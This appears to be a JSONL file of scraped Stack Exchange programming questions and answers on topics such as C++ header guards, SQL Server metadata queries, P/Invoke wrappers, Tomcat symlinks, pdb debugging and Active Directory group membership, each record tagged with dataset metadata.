{"id": "hf_658e52f93ee0", "question": "<p>I know it makes little difference to a project but, assuming you use #defined header guards for your C++ code, what format do you use?  e.g. assuming a header called <code>foo.hpp</code>:</p>\n\n<pre><code>#ifndef __FOO_HPP__\n...\n\n#ifndef INCLUDED_FOO_HPP\n...\n\n#ifndef SOME_OTHER_FORMAT\n</code></pre>\n\n<p>I'm sold on the idea of upper-case #defines but cannot settle on a format for these guards.</p>\n", "question_body": "", "answer": "I always use\n```\nINCLUDED_FOO_HPP\n```\nI wouldn't use the double underscore one, because starting things with double underscores is reserved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.059924"}
{"id": "hf_b74aa0f3b3d1", "question": "<p>I'm reading through K&amp;R and came to the small section on register variables, and was wondering if people here have some good examples of this put into practice.</p>\n\n<p>From section 4.7 in K&amp;R:</p>\n\n<blockquote>\n  <p>The register declaration looks like<br>\n       register int  x;<br>\n       register char c;</p>\n</blockquote>\n\n<p>To be clear, I'm just hoping to see some cool code samples. I (am pretty sure that I) understand the subject matter so don't feel the need to type up a verbose explanation (unless you want to).</p>\n", "question_body": "", "answer": "There is no good example of register usage when using modern compilers (read: last 15+ years, and note that this answer is from 2008) because it almost never does any good and can do some bad.  When you use register, you are telling the compiler \"I know how to optimize my code better than you do\" which is almost never the case.  One of three things can happen when you use register:\nThe compiler ignores it, this is most likely.  In this case the only harm is that you cannot take the address of the variable in the code.\nThe compiler honors your request and as a result the code runs slower.\nThe compiler honors your request and the code runs faster, this is the least likely scenario.\nEven if one compiler produces better code when you use register, there is no reason to believe another will do the same.  If you have some critical code that the compiler is not optimizing well enough your best bet is probably to use assembler for that part anyway but of course do the appropriate profiling to verify the generated code is really a problem first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.083563"}
{"id": "hf_0d3147ef4112", "question": "<p>I have read around 4-5 books on design patterns, but still I don't feel I have come closer to intermediate level in design patterns?    </p>\n\n<p>How should I go studying design patterns?</p>\n\n<p>Is there any good book for design patterns?</p>\n\n<p>I know this will come only with experience but there must be some way to master these?</p>\n", "question_body": "", "answer": "The best way is to begin coding with them.  Design patterns are a great concept that are hard to apply from just reading about them.  Take some sample implementations that you find online and build up around them.\nA great resource is the\nData & Object Factory\npage.  They go over the patterns, and give you both conceptual and real world examples.  Their reference material is great, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.120674"}
{"id": "hf_f9243bca8bf4", "question": "<p>I am sure there are many developers out here who have team spread across different time zones. What are some of the challenges people face and whats the best way to tackle them?</p>\n", "question_body": "", "answer": "In all honesty, any company that has split development of a project across time zones is out of touch with the realities of engineering.  The MBAs, in an attempt to save themselves a buck or two, foist upon their engineers the unenviable position of altering the schedules of their lives - leading to high stress, longer work hours, lower morale, and higher turnover.  Quality suffers, ship dates suffer, feature lists suffer.  The only increase you'll see in your project is the bug count.\nYou can have engineering projects split up like this if you don't have any need for low-latency communication between project units.  In other words - if they are working on almost entirely independent segments of the system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.145592"}
{"id": "hf_2740bf6169d5", "question": "<p>Is there a command, or a set of tables I can look at to determine which tables, stored procedures and views in SQL Server server 2005 have a certain user defined data type?</p>\n", "question_body": "", "answer": "Tables are relatively easy, sys.columns and sys.types allow you to link columns to types.  The query below will get this out.\n```\n```\nselect s.name\n      ,o.name\n      ,c.name\n      ,t.name\n  from sys.schemas s\n  join sys.objects o\n    on o.schema_id = s.schema_id\n  join sys.columns c\n    on c.object_id = o.object_id\n  join sys.types t\n    on c.user_type_id = t.user_type_id\n where t.name = 'Foo'\n```\n```\nEDIT: as G Mastros has shown above, you can get parameters with a similar query.\n```\n```\nselect s.name\n      ,o.name\n      ,p.name\n      ,t.name\n  from sys.schemas s\n  join sys.objects o\n    on o.schema_id = s.schema_id\n  join sys.parameters p\n    on p.object_id = o.object_id\n  join sys.types t\n    on p.user_type_id = t.user_type_id\n where t.name = 'Foo'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.181336"}
{"id": "hf_2fa587e1dd09", "question": "<p>I will explain problem with an example:</p>\n\n<p>There is two table in my database, named entry, tags</p>\n\n<p>There is a column named ID_ENTRY in both table. When I add a record to table, entry, I have to take the ID_ENTRY of last added record and add it to table, tags. How can I do it?</p>\n", "question_body": "", "answer": "I would probably do this with an INSERT trigger on the named entry table, if you have all of the data you need to push to the tags table available.  If not, then you might want to consider using a stored procedure that creates both inside a transaction.\nIf you want to do it in code, you'll need to be more specific about how you are managing your data.  Are you using DataAdapter, DataTables, LINQ, NHibernate, ...?  Essentially, you need to wrap both inserts inside a transaction of some sort so that either inserts get executed or neither do, but the means to doing that depend on what technology you are using to interact with the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.204476"}
{"id": "hf_9883611c6883", "question": "<p>I have a dll that was written in c++, I need to use this dll in my c# code. After searching I found that using P/Invoke would give me access to the function I need, but these functions are defined with in a class and use non-static private member variables. So I need to be able to create an instance of this class to properly use the functions. How can I gain access to this class so that I can create an instance? I have been unable to find a way to do this. </p>\n\n<p>I guess I should note that the c++ dll is not my code.</p>\n", "question_body": "", "answer": "There is no way to directly use a C++ class in C# code.  You can use PInvoke in an indirect fashion to access your type.\nThe basic pattern is that for every member function in class Foo, create an associated non-member function which calls into the member function.\n```\n```\nclass Foo {\npublic:\n  int Bar();\n};\nextern \"C\" Foo* Foo_Create() { return new Foo(); }\nextern \"C\" int Foo_Bar(Foo* pFoo) { return pFoo->Bar(); }\nextern \"C\" void Foo_Delete(Foo* pFoo) { delete pFoo; }\n```\n```\nNow it's a matter of PInvoking these methods into your C# code\n```\n```\n[DllImport(\"Foo.dll\")]\npublic static extern IntPtr Foo_Create();\n\n[DllImport(\"Foo.dll\")]\npublic static extern int Foo_Bar(IntPtr value);\n\n[DllImport(\"Foo.dll\")]\npublic static extern void Foo_Delete(IntPtr value);\n```\n```\nThe downside is you'll have an awkward IntPtr to pass around but it's a somewhat simple matter to create a C# wrapper class around this pointer to create a more usable model.\nEven if you don't own this code, you can create another DLL which wraps the original DLL and provides a small PInvoke layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.227464"}
{"id": "hf_ee814d277aa5", "question": "<p>What is the most recommended/best way to stop multiple instances of a setTimeout function from being created (in javascript)?</p>\n\n<p>An example (psuedo code):</p>\n\n<pre><code>function mouseClick()\n{\n   moveDiv(\"div_0001\", mouseX, mouseY);\n}\n\nfunction moveDiv(objID, destX, destY)\n{\n   //some code that moves the div closer to destination\n   ...\n   ...\n   ...\n\n   setTimeout(\"moveDiv(objID, destX, destY)\", 1000);\n   ...\n   ...\n   ...\n}\n</code></pre>\n\n<p>My issue is that if the user clicks the mouse multiple times, I have multiple instances of moveDiv() getting called.</p>\n\n<p>The option I have seen is to create a flag, that only allows the timeout to be called if no other instance is available...is that the best way to go?</p>\n\n<p>I hope that makes it clear....</p>\n", "question_body": "", "answer": "```\n```\nvar timeout1 = window.setTimeout('doSomething();', 1000);\nvar timeout2 = window.setTimeout('doSomething();', 1000);\nvar timeout3 = window.setTimeout('doSomething();', 1000);\n\n// to cancel:\nwindow.clearTimeout(timeout1);\nwindow.clearTimeout(timeout2);\nwindow.clearTimeout(timeout3);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.288568"}
{"id": "hf_278ae482f8e7", "question": "<p>Suppose you have a GridView with a few columns like:</p>\n\n<p>| Foo | Bar | Total |</p>\n\n<p>and you use a style sheet to make the alternating rows different colors, say light blue and white.</p>\n\n<p>Is there a good way to make a particular column alternate in a different color?  For example, I might want the Total column to alternate in medium and light red to bring attention to it in a large grid.</p>\n\n<p>BTW, I know you can programmatically change the color of a cell.  I'd like to stick to CSS if it all possible, however, so all my style stuff is in one place.  I also don't see an easy way to tell if I'm in an alternating row when I'm inside the event handler.</p>\n", "question_body": "", "answer": "If you're using jQuery, you can do it pretty easily.\n```\n```\n$(\"table#myTable col:odd\").css(\"background-color:#ffe\");\n```\n```\nthe\n```\n:odd\n```\nselector is not available in most current browsers, but jQuery gives it to us today.\nFor rows, you can do it with the built-in AlternatingRowStyle element.\nEdit: found a good resource for some different ways of doing this:\nhttp://css-discuss.incutio.com/?page=StylingColumns", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.324755"}
{"id": "hf_473678cd1b59", "question": "<p>I have a directory to which a process uploads some <code>.pdf</code> files. This process is out of my control.</p>\n\n<p>I need to make those files available through the website using Tomcat.</p>\n\n<p>I have a directory <code>/var/lib/tomcat5/webapps/test1</code> available to the web and I can see the files in it with a browser.</p>\n\n<p>So, I created a symbolic link pointing at the directory with the <code>.pdf</code> files:\n<code>/var/lib/tomcat5/webapps/test1/files/</code>, but I can't see anything in that directory.</p>\n\n<p>How can I enable symlinks in the <code>test1</code> directory only?  I don't want to enable symlinks everywhere, just so that directory with <code>.pdf</code> files is available to the web.</p>\n", "question_body": "", "answer": "Create a context.xml file in a\n```\nMETA-INF\n```\ndirectory in your web app containing:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<Context path=\"/myapp\" allowLinking=\"true\">\n\n</Context>\n```\n```\nmore here:\nhttp://www.isocra.com/2008/01/following-symbolic-links-in-tomcat/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.349597"}
{"id": "hf_a5317c9db449", "question": "<p>I am a junior programmer. Since my supervisor told me to sit in with the client, I joined. I saw the unsatisfied face of the client despite the successful (from my programmer's perspective) delivery of the project!</p>\n\n<p><strong>Client:</strong> You could have included this!<br>\n<strong>Us:</strong> Was not in the specification!<br>\n<strong>Client:</strong> Common Sense!</p>\n\n<p>As a programmer, how do you respond in this situation?</p>\n", "question_body": "", "answer": "What you should do to avoid this situation:\nExplicitly spec out what will be included and what will not be included.\nThe problem probably comes down to the unspecified parts of the spec:\nThe client thinks that unspecified stuff should be in, i.e. it was implied.\nThe developer thinks that unspecified stuff should not be in.\nFor future specs that you have, you should have a catch all statement, that explicitly states that if something is not specified in this document, it can be done after the original specification is done at an additional cost.\nWhat you should do in the current situation:\nOther than learning from your experiences, you should come to some compromise with the client.\nExample: I will do this feature that you feel is common sense, but for all future additions/changes it will have to be spec'ed out explicitly.\nI.e. you will have to do a little more work, but it is worth it in return for the catch all explicitly spec'ed agreement your client will enter into.\nBad spec?\nWas it necessarily a bad spec? No.\nIt is impossible to mention everything your clients may expect, so it is critical to have this catch all statement mentioned above stated clearly and explicitly in your spec/contract.\nOther ways to reduce the problem:\nInvolve the client early, show them early prototypes.  Even if they don't demand it.\nTry not to sell the client an end product, but more of a service for working on his product.\nConsider an agile development model or something similar so that tasks are well defined, small, paid for, and indisputable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.374027"}
{"id": "hf_21736f824d78", "question": "<p>There might be applications that are not suited for Core Data - image manipulation programs like Photoshop or Gimp for example. But for applications that are suited for Core Data, say Address Book or iCal, what is the criteria to choose Core Data over a custom model?</p>\n", "question_body": "", "answer": "I recently started a project where I decided to use Core Data for the first time in a real world application. My application is actually version 2.0 of an older app that uses a custom data model, so I spent a lot of time debating this question. Here are some of the things I asked myself.\nThe time to learn how Core Data works in a non-trivial application and fixing the little bugs and idiosyncrasies that pop up when you're learning a new technology. This may include a prototype or two, since you don't want to jump into using something like Core Data that will be responsible for such as large chunk of your application.\nWhether or not Core Data will solve problems that are hard to address when using a custom data model, for example storing and holding in memory very large sets of data.\nWhether or not you want to share code with a platform where Core Data is not available, for instance Cocoa Touch. Along the same lines, if you want the resulting data files to be compatible without having to build a separate exporter.\nIf learning Core Data will help improve yourself as a programmer, whether its making your more attractive to Mac development shops or just for your own use.\nIf your data model is simple enough that you don't really need things like undo manager support or relationships, the areas where core data really shines.\nIf you're using external libraries or other technologies such as Distributed Objects, where you might not want to use NSManagedObject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.422758"}
{"id": "hf_a152d96c0a11", "question": "<p>I need to share SSO information between two different domains with a cookie, can this be done in PHP and how?</p>\n", "question_body": "", "answer": "On both domains, place an image or other web element that is pulled from the other domain.  Use the URL to notify the other domain that user X is on domain A, and let domain B associate that user ID with that user on their system.\nIt's a little complex to carry out correctly, but if you think it through it'll work out very well.\nVinko points out in a comment (thanks!) that I shouldn't take it for granted that you understand the security risks involved.  If this information is of any value to anyone, then you should make sure you use proper encryption, authentication, etc to avoid releasing sensitive information and to avoid various attacks (replay, man in the middle, etc).  This shouldn't be too onerous since you control both websites and you can select a secure secret key for both, since the communication is only going between the two servers via this special URL.  Keep it in mind though.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.447326"}
{"id": "hf_d632dfd9ae5d", "question": "<p>I want to start using Nunit (finally), I am using Visual Studio 2008.</p>\n\n<p>Is it as simple as importing Nunit into my test project?</p>\n\n<p>I remember seeing a GUI for NUnit, does that do the exact same thing that a separate test project would do, except show you the pass/fail visually?</p>\n", "question_body": "", "answer": "Yes, that's basically it. Personally I find the unit test runner which comes with\nReSharper\nto be excellent - and the tool itself is well worth the licence feel. Alternatively there's\nTestDriven.NET\n.\nHaving a test project which runs nunit-gui or nunit-console separately is all very well, but you really want the whole unit testing experience to be as seamless as possible. The easier it is to write and run tests, the more likely you are to do it - which is a very good thing. Don't underestimate the gradual build-up of frustration due to a\nslightly\npoorer user experience, flipping between windows etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.471570"}
{"id": "hf_0ec4b8f83f89", "question": "<p>Is there anything to use, to determine if a type is actually a anonymous type? For example an interface, etc?</p>\n\n<p>The goal is to create something like the following...</p>\n\n<pre><code>//defined like...\npublic static T Get&lt;T&gt;(this IAnonymous obj, string prop) {\n    return (T)obj.GetType().GetProperty(prop).GetValue(obj, null);\n}\n//...\n\n//And then used like...\nvar something = new { name = \"John\", age = 25 };\nint age = something.Get&lt;int&gt;(\"age\");\n</code></pre>\n\n<p>Or is that just the beauty of an anonymous type? Nothing to identify it self because it takes a new shape?</p>\n\n<p><strong>Note</strong> - I realize that you can write an extension method for the <strong>object</strong> class, but that seems like a little overkill, in my opinion.</p>\n", "question_body": "", "answer": "As I recall, there is a\n```\n[CompilerGenerated]\n```\nmarker... 2 secs\nPlus the name will be freaky, and it will be a generic type ;-p\nActually, for a \"get\" etc I would probably just use a static (non-extension) method.\nIf you just want a way to get the value from an instance of an anon-type (at a later point in time), a lambda is probably the best option - note you need a few tricks to pull this off:\n```\n```\nstatic void Main()\n    {\n        var foo = new { name = \"John\", age = 25 };\n        var func = Get(foo, x => x.age);\n        var bar = new { name = \"Marc\", age = 30 };\n        int age = func(bar);\n    }\n    // template here is just for type inference...\n    static Func<TSource, TValue> Get<TSource, TValue>(\n        TSource template, Func<TSource, TValue> lambda)\n    {\n        return lambda;\n    }\n```\n```\n(edit re the comment) There definitely\nis\nthis attribute:\n```\n```\nvar foo = new { A = \"B\" };\n        Type type = foo.GetType();\n\n        CompilerGeneratedAttribute attrib = (CompilerGeneratedAttribute) Attribute.GetCustomAttribute(\n            type, typeof(CompilerGeneratedAttribute)); // non-null, therefore is compiler-generated\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.507150"}
{"id": "hf_b89cc462e002", "question": "<p>I'm trying to use the FolderBrowserDialog from my WPF application - nothing fancy. I don't much care that it has the Windows Forms look to it.</p>\n\n<p>However, when I call ShowDialog, I want to pass the owner window which is an IWin32Window. How do I get this from my WPF control?</p>\n\n<p>Actually, does it matter? If I run this code and use the ShowDialog overload with no parameters it works fine. Under what circumstances do I need to pass the owner window?</p>\n\n<p>Thanks,</p>\n\n<p>Craig</p>\n", "question_body": "", "answer": "If you specify Owner, you will get a Modal dialog over the specified WPF window.\nTo get WinForms compatible Win32 window create a class implements IWin32Window like this\n```\n```\npublic class OldWindow : System.Windows.Forms.IWin32Window\n{\n    IntPtr _handle;\n\n    public OldWindow(IntPtr handle)\n    {\n        _handle = handle;\n    }\n\n    #region IWin32Window Members\n\n    IntPtr System.Windows.Forms.IWin32Window.Handle\n    {\n        get { return _handle; }\n    }\n\n    #endregion\n}\n```\n```\nAnd use an instance of this class at your WinForms\n```\n```\nIntPtr mainWindowPtr = new WindowInteropHelper(this).Handle; // 'this' means WPF Window\n        folderBrowserDialog.ShowDialog(new OldWindow(mainWindowPtr));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.530660"}
{"id": "hf_af2c57b00c71", "question": "<p>Is it possible? \nBy debug I mean setting breakpoints, inspect values and advance step by step.</p>\n", "question_body": "", "answer": "I haven't used web2py, but if it runs in a terminal window, you can use standard pdb stuff. Add this line somewhere in your code:\n```\n```\nimport pdb; pdb.set_trace()\n```\n```\nThis will invoke the debugger and break.  Then you can use\nPDB\ncommands: n to step to the next line, l to list code, s to step into a function, p to print values, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.554666"}
{"id": "hf_f8fbb8adf41a", "question": "<p>I am trying to find out which Hypervisor will allow me to grant access to specialized PCI cards (such as a telephony card) to a virtual machine. So far I have tried out VMWare ESXi server and it doesn't seem to allow me to do this. I have heard that Microsoft Virtual Server does allow this, but I haven't been able to find any supporting documentation.</p>\n", "question_body": "", "answer": "I'd look into\nXen\n, it appears that you can load a backend xen driver on the host OS which will then allow you to communicate directly with the hardware from the guest.\nSee\nthis link\nfor more information. I'm not a Xen user, but from my virtualization experience I would guess that the paravirtualization aspects of a Xen host/guess is going to be your best bet for raw device access.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.640032"}
{"id": "hf_4fcd72f72300", "question": "<p>I have a large db with many tables and sprocs, and I want to find and see, for example, if there is a table with a name that has \"setting\" as part of it.  I'm not very familiar with SqlServer's System Databases like master, msdb etc., I know there is a way to query one of those dbs to get what I need back, does someone know how to do it?</p>\n\n<p>Thank you,\nRay.</p>\n", "question_body": "", "answer": "the table you want is sys.objects\n```\n```\nSELECT * \nFROM sys.objects\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.675940"}
{"id": "hf_e35aa2c5e203", "question": "<p>I've got Postscript code/data (?) in memory (in a Java Tomcat webapp) that I'd like to send directly to a networked PS printer.  Is there an easy way (i.e. just popping open a port and sending the text) to print this, bypassing all of the O/S-specific drivers and stuff (and hopefully not even requiring extra jars)?  A link to example code showing how to do this?</p>\n\n<p>Thanks,\nDave</p>\n", "question_body": "", "answer": "I am not sure you can do it without extra library.\nThis\nexample\nshows you how to send the file to a network printer, but requieres an adobe library (based on commercial J2EE\nLivecycle ES\nthough, so not a generic \"free\" solution...).\n```\n```\nimport com.adobe.livecycle.output.client.*;\nimport java.util.*;    \nimport java.io.File;    \nimport java.io.FileInputStream;    \nimport com.adobe.idp.Document;    \nimport com.adobe.idp.dsc.clientsdk.ServiceClientFactory;\n\npublic class SendToPrinter {\n\n    public static void main(String[] args) {\n        try{\n            //Set LiveCycle ES service connection properties                            \n            Properties ConnectionProps = new Properties();\n            ConnectionProps.setProperty(\"DSC_DEFAULT_EJB_ENDPOINT\", \"jnp://localhost:1099\");\n            ConnectionProps.setProperty(\"DSC_TRANSPORT_PROTOCOL\",\"EJB\");          \n            ConnectionProps.setProperty(\"DSC_SERVER_TYPE\", \"JBoss\");\n            ConnectionProps.setProperty(\"DSC_CREDENTIAL_USERNAME\", \"administrator\");\n            ConnectionProps.setProperty(\"DSC_CREDENTIAL_PASSWORD\", \"password\");\n            //Create a ServiceClientFactory object\n            ServiceClientFactory myFactory = ServiceClientFactory.createInstance(ConnectionProps);\n            //Create an OutputClient object\n            OutputClient outClient = new OutputClient(myFactory); \n            //Reference XML data that represents form data\n            FileInputStream fileInputStream = new FileInputStream(\"C:\\\\Adobe\\\\Loan_data.xml\"); \n            Document inputXML = new Document(fileInputStream);\n            //Set print run-time options\n            PrintedOutputOptionsSpec printOptions = new PrintedOutputOptionsSpec(); \n            printOptions.setPrinterURI(\"\\\\\\\\Printer1\\\\Printer\");\n            printOptions.setCopies(2);\n\n            //Send a PostScript print stream to printer\n            OutputResult outputDocument = outClient.generatePrintedOutput(\n                    PrintFormat.PostScript,\n                    \"Loan.xdp\",\n                    \"C:\\\\Adobe\",\n                    \"C:\\\\Adobe\",\n                    printOptions,\n                    inputXML); \n\n            //Write the results of the operation to OutputLog.xml\n            Document resultData = outputDocument.getStatusDoc();\n            File myFile = new File(\"C:\\\\Adobe\\\\OutputLog.xml\");\n            resultData.copyToFile(myFile);\n        }\n        catch (Exception ee)\n        {\n            ee.printStackTrace();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.711811"}
{"id": "hf_d3d0bba61f98", "question": "<p>So my goal is to be able to add a user from one Active Directory Domain to another group in a separate Active Directory Domain.</p>\n\n<p>I'd like to do this in C#.  I know there is a System.DirectoryServices namespace with classes to communicate with AD, but I can't find any information on adding users across domains.</p>\n\n<p>In the environment there are two domain controllers with the same parent forest.  There is a transient trust between the 2 domains, let's call them domains A and B.</p>\n\n<p>I'm able to add a user from B to a Domain Local or Universal group inside of domain A with the Active Directory tool.</p>\n\n<p>Does anyone know how I can do this programmatically using C#?</p>\n", "question_body": "", "answer": "What worked for me when I wrote code to do this a couple years back:\nGet a DirectoryEntry for the group to which you want to add a member.\nCall Invoke on the group DirectoryEntry passing arguments \"Add\" as the method name and the\nADsPath\nof the member in an array.\nSome sample code off the top of my head:\n```\n```\nDirectoryEntry group = new DirectoryEntry(@\"LDAP://CN=foo,DC=domainA\");\nstring memberADsPath = @\"LDAP://CN=bar,DC=domainB\";\ngroup.Invoke(\"Add\", new Object[] {memberADsPath});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.758649"}
{"id": "hf_ec9354693c92", "question": "<p>I thought I'd get myself a Subversion setup at home for my hobby projects, and I'm trying to do it right, first time (my work's source control control policies or lack of them are, well, not perfect).</p>\n\n<p>The thing I'm struggling with is this:  I'd like to version entire Eclipse projects.  This will be good from Eclipse's point of view - I'll just let it do its thing, and should just mean I need to ignore a few binaries / whole build directories and set up these ignores just once when I set up the project (right?).  Anyway, I've tried it a couple of times and svn seems to get confused and ignore my ignore settings.  What should be the correct procedure?</p>\n\n<p>Thanks.</p>\n\n<p>PS I'm doing the svn bits from command line, trying to avoid a GUI till I'm happy with it.</p>\n", "question_body": "", "answer": "If you on a linux box, you can try these steps, if on windows, pretty the installer shall do things for you.\nhttps://help.ubuntu.com/community/Subversion\nAlso the subversion book might help\nhttp://svnbook.red-bean.com/en/1.5/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.817534"}
{"id": "hf_79723ab33e52", "question": "<p>In our Flex AIR app, we have the problem that our main app window is fairly narrow. This means Alert dialog boxes are chopped on both side, while the right click menu is cropped. How can we get these windows to not get cropped by our main window?</p>\n", "question_body": "", "answer": "With flex applications running inside of the flash player, windows cannot be shown outside of the stage.  So the only way to make this work would be to make your app larger.\nYou could though use the flex/ajax bridge and call a javascript alert box instead, they would not be bound by the stage.  But it would not be skinned like the rest of the application though and would take some more work to get hooked in, especially if you are listening for the user to click the okay button...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.850764"}
{"id": "hf_ac64b530056d", "question": "<p>At the moment I'm creating a <code>DateTime</code> for each month and formatting it to only include the month.<br>\nIs there another or any better way to do this?</p>\n", "question_body": "", "answer": "You can use the following to return an array of string containing the month names\n```\n```\nSystem.Globalization.CultureInfo.CurrentCulture.DateTimeFormat.MonthNames\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.896084"}
{"id": "hf_b49e157e2c61", "question": "<p>I am very interested in learning a Ruby on Rails / Django type web technology but am currently using Windows Server 2008 (for .Net web applications.) I have read that RoR is not very performant on Windows.</p>\n\n<ol>\n<li><p>Would it be unadvisable to create run a beta web application in RoR on a Windows Web server as far as performance is concerned?</p></li>\n<li><p>Would Django or another similar technology be a better choice? Can you be a \"happy, productive programmer\" and still use a Windows Server?</p></li>\n</ol>\n\n<p>(Note: I actually do enjoy heavily modified Asp.Net / C#. I'm looking to try some different stacks that might be fun and productive from the start.)</p>\n", "question_body": "", "answer": "You can still learn a technology on Windows even if it isn't good at high performance on that platform yet.\nI strongly recommend\nagainst\ntrying to learn new technology at the same time as implementing an actual project you care about.  It's better to write a pretend project while learning new tools or languages.\nThat way you can try out features of that technology that aren't relevant to your desired project, and you aren't distracted by focus on your own project's requirements while you're trying to learn.\nSo go ahead and learn both, experiment with them on Windows.  There are good step-by-step tutorials available and ready-to-install bundles for both\nRails\nand\nDjango\non Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.932660"}
